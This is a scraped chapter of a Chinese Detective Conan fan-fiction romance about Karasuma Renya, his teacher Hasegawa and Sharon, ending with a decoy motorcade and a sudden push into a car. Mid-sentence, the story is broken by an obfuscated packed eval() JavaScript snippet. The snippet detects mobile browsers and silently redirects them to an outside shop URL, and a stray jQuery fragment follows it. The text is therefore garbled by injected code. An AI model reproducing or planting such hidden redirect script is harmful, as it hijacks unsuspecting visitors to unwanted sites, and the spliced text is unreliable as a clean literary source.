文趣网 > 都市小说 > 柯学恋爱手册 > 21.“我爱您”(加更)
    ——谈恋爱要谈喜欢的,一眼看上的,哪怕死缠烂打都要谈。

    这是乌丸莲耶和莎朗说的。

    当然,他说的不止这些。

    此人在恋爱之后大有成为酸涩文青的倾向,但与长谷川佑聊这些是万万不可能的,乌丸家也没人能承载他满腔臭屁恋爱的酸涩感情,满打满算只剩了个莎朗还能充当倾听观众。

    两人一个晚上加班方才回到别院,一个才下自训,趴在餐桌上吃宵夜。

    而长谷川遵从自己老年人生活作息早早休息。

    于是俩人正巧达成了“聆听少男心事”这一成就。

    但乌丸莲耶没想到莎朗·温亚德还真就记心里了,除了没往心里去‘男人的忠贞是首要’,心花花得堪比当季的花蝴蝶,在再连续去舞蹈团第一个月后的某个早晨就宣布自己有了对象。

    “噢,那很好啊。”

    长谷川已经习惯了莎朗身边伴侣的多变,他记得最清楚的就是那些人通常都长了一张好脸。

    而好不容易休息下来,跟着早起还迷糊着的乌丸莲耶则半蹲着抓着女孩的肩膀开始疯狂摇晃。

    “谁?!是谁?!!!!!”

    他与老师方才交往不过一个月,这小孩居然都能见缝插针地找着对象了?!

    是自己之前对她说的话起了作用吗?

    老师会怪自己教坏小孩吗?

    不管怎么说那可是老师的妹妹!

    天哪!!!!!

    正巧这时长谷川看过来了。

    他似乎有些不解。

    “乌丸,你怎么了?”

    难得的关心与注视使乌丸莲耶感到高兴的同时又感到难言。

    他有些不知该如何与恋人讲述这件事。

    生于东方国家的他对于恋爱更多还是偏向于朦胧青涩的,而不是像莎朗这样简单粗暴地与家长说出来——“噢,我恋爱了,还亲嘴了,就是这样。”

    他不懂,更不明白。

    他做过最出格的事也就是面对老师的邀请时吻了上去,但时至今日,哪怕他们已经交往——他们是在交往吧。

    他也再没敢再冒犯老师一次。

    平日里的挨蹭自觉已到了极限,每次对视都感觉自己的心跳得快要窒息,但对方始终高高地俯着自己,偶尔回答一些也足矣让自己快乐到发疯。

    写的俳句与和歌夹在开会时的本子里,藏在边边角角,直到怎么都塞不下,就只好看了又看,不好意思地在烟灰缸里点了烧掉。

    然而点燃时所产生的烟灰烧烬的味道则又让他想起了那个人身上的味道,于是烧了几张又舍不得烧了,好好地整理了起来,锁进了只有自己知晓的,母亲嫁妆里精巧的木盒里。

    结果诗词歌赋是越写越多,嫁妆木盒由小到大换了一个又一个,真正能对着念出来的却一首都没有。

    爱念与日俱增,心口之间却被上了一道锁。

    他想去到长谷川的窗台下,学戏本子里的才子佳人,学西方戏剧里义无反顾的咏唱,唱那些祈求对方能推开窗台,在仲夏的夜晚与自己私奔的白日大梦,唱百年好合,生生世世的私心。

    只可惜别院仍旧是老回廊,近来局势也没松懈到足矣让他能大摇大摆地请工匠入别院来为他搭建唱戏必要的窗台。

    然后就期期艾艾地等待啊,许愿啊,却因为行程作息不得不硬生生地错开……

    这边乌丸莲耶还在自己的低气压里,这里莎朗已经在输出了。

    “我觉得亲嘴一点意思都没有。”

    长谷川凉凉瞥她一眼。

    “他居然连唇膏都没擦就敢来来和我亲嘴了,看来他也没嘴上说的那样珍爱我。”

    乌丸莲耶:“……”

    莎朗继续叨叨:“他给我的感觉一点都不好——太稚气了,我讨厌总沾着我的家伙,更何况他又不是舞团里最好看的,他凭什么占用我在舞团本就不多的时间?”

    长谷川听闻后思考了一下。

    “那你可以分手。”

    他说得很简单,轻巧得宛若飞鸟,Yes or No在他眼中就是这样简单的选题,他选过了,就再不会回头。

    乌丸莲耶的手指收缩了一下。

    “嗳——可是我还是喜欢他的。”

    女孩却忽然叹息出声。

    “那又有什么办法呢?哪怕他有千万种讨我厌的点,但毕竟我喜欢他,我的心已经偏向了他。”

    “那就没办法了。”

    长谷川回答道。

    “是啊,没办法了。”

    她这样说着,吞下最后一口面包跳下高椅。

    “我去选今天穿的裙子啦~”

    女孩米白的睡袍裙角方才转过拉开障子门边,端正坐着的长谷川就感受到一股温热贴上了自己的后颈。

    男人捞了下自己过长的银发,好让不安的小恋人靠得更稳些。

    他抖了下今早送来的晨报,颇为漫不经心地问,“伤心了?”

    后颈的温热逐渐转化为毛糙——乌丸莲耶把手伸长垂在长谷川胸前,径直将头卡在了恋人的脖颈。

    他们前胸贴着后背,心脏随着心脏而振动,这简直是一个紧密极了的姿势。

    乌丸莲耶逐渐放弃了自己幻想构思的那些话剧,也舍弃了那些繁复华丽的俳句和歌,只是垂头丧气附在对方耳侧问,“你喜欢我吗?”

    长谷川似乎被突如其来如此疑问震到了一下。

    他将头扭过来,用那双灰蓝色的眼睛看过去。

    或许是很久,或许只有一瞬。

    他笑了。

    很得体优雅的笑容。

    “当然。”

    他说。

    “我爱你。”

    陶瓷杯里的咖啡是烫的。

    所以长谷川不会去喝。

    它抖动着,泛起涟漪,最终又回归到了平静。

    直到冷透。

    乌丸莲耶不知道缘由,他只能将热咖啡呈上,然后看着它冷却。

    这一度成为了他的习惯,但在今天,如此习以为常的场景竟让他感到了一丝扎眼。

    于是他又开始说一些烂大街的笑话。

    直到氛围软化了下来。

    很巧合,今天乌丸莲耶除去一项出门会见港口其他家族话事人的以外就别无他事。

    长谷川没去归根结蒂地问,左右车和司机其实一直都是他和莎朗在用,多夹带一个乌丸莲耶其实也没什么事。

    男人用食指轻弹了弹烟灰,侧头时,乌丸莲耶正背着一个与如今他身份地位,衣着打扮不大相符的小学生红漆皮书包拉着莎朗出来了。

    女孩今天穿着米白的裙子,裙摆层层叠叠的,衬得眼睛好像一双绿宝石。

    “快走啦,快些啦,都说了你要是忙的话……唔——”

    乌丸莲耶落在女孩后面,被扯着牵着,面露无奈,眼下熬出来的黑眼圈未消,怎么看怎么笑都带了一股苦命味。

    外宅门口停了一排车队。

    乌丸莲耶原本是想径直与长谷川他们坐一辆车,走近了看着还站着的恋人这才窘迫地退出车内,胡乱将莎朗搪塞了过去,又是拨弄发丝又是整理衣袖地就是不看长谷川的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625128|205737||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼。

    长谷川微仰点头,看见的是一个还青涩的,妄想假装大人的孩子。

    于是声线就不自觉放柔了许多。

    “我陪你坐另一辆——都挤在一起不太适合。”

    为什么不再合适——其实更多他也没说清,只是安排了莎朗重新再上另一辆车,看着乌丸家安排的替身都上了车,这才对乌丸莲耶点点头,“还有什么需要清点的吗?”

    他声音很轻,略沙哑,有点撒娇似的鼻音,在人脑海里晃着转着出不去。

    “没…我是说——很完美。”

    “司机——”

    “都是鸟取舅父那边送来的人。”

    谈论起这些乌丸莲耶便不再如此不知所措了。

    他企图与眼前人沿着这个话题继续说,好去证明什么一样。

    然后他原本空荡荡的右手小指就忽然被人勾起。

    他猛地抬头!

    “我知道的。”

    长谷川勾着乌丸莲耶的小指,语调很平缓。

    他们走过一辆又一辆相同的车,那些车内有着相同的布置,身高,体重,面容都相仿的司机,统一被乌丸莲耶任命为“伏特加”。

    最终像是选到了一辆合心意的车,长谷川的脚步停下了。

    他扭头问,“这辆?”

    乌丸莲耶自大脑的空白中勉强地挣扎出来,扫了一眼车辆的排数,确定了安全系数。

    “不,下一辆。”

    少年皱着眉,“安全系数不够,有些靠前了。”

    长谷川默然点头,不过这次是他被乌丸莲耶勾着他的小指前行。

    少年说:“我送您到后面去,您与莎朗离我越远越好。”

    长谷川走在他后头,忽然听见他叹息。

    “?”

    “真是的,这段时间好不容易有能够和你们好好相处,结果却是这么一个尴尬境地。”

    “你做得很好。”

    听到长谷川这句话,乌丸莲耶顿了一下,勾着的小指忽然收得很紧。

    “呐,老师您看出来了吧,这次外出,其实是族内那群人设下的圈套。”

    “你——做得很好。”

    乌丸莲耶就笑起来了,他晃了晃勾着的手,很开心的模样。

    “——他们实在忍不了了,送来潜伏的人——啊,就是那个,那个,‘朗姆’丝毫没用,反倒——”

    他一努嘴,长谷川就看见站在门口,脸色明显不好,眼睛四瞟的某个漂亮年轻人。

    “这人本以为搭上了我这条要上道的新船,前些时候狠狠地坑了老东家们一笔,现在正慌着神呢,哼哼~”

    长谷川就收回了视线,带了点语气,“做得不错。”

    乌丸莲耶听出来了,他眯着眼笑得得意。

    ——这人向来在辩识真心上伶俐得吓人。

    乌丸莲耶就继续说,

    “所以我这条还没被完全打好的‘新船’现在就要连带着不识好歹的水手被老造船厂的员工们推到垃圾回收站去啦。”

    他替长谷川打开了车门。

    身后人问,“选好了?”

    “嗯,大致吧,虽然总感觉不安全但这实在是我觉得他们最不可能袭击的地方了,不然也太没品——”

    话未说完,身体骤然倾斜!

    乌丸莲耶感觉整个人倒向了车内。

    “既然是自己选的,那就坐罢。”

    长谷川如此说道。

    停顿几秒,似乎是在面对消化乌丸莲耶震惊的目光。

    他说,“你做得已经非常好了。”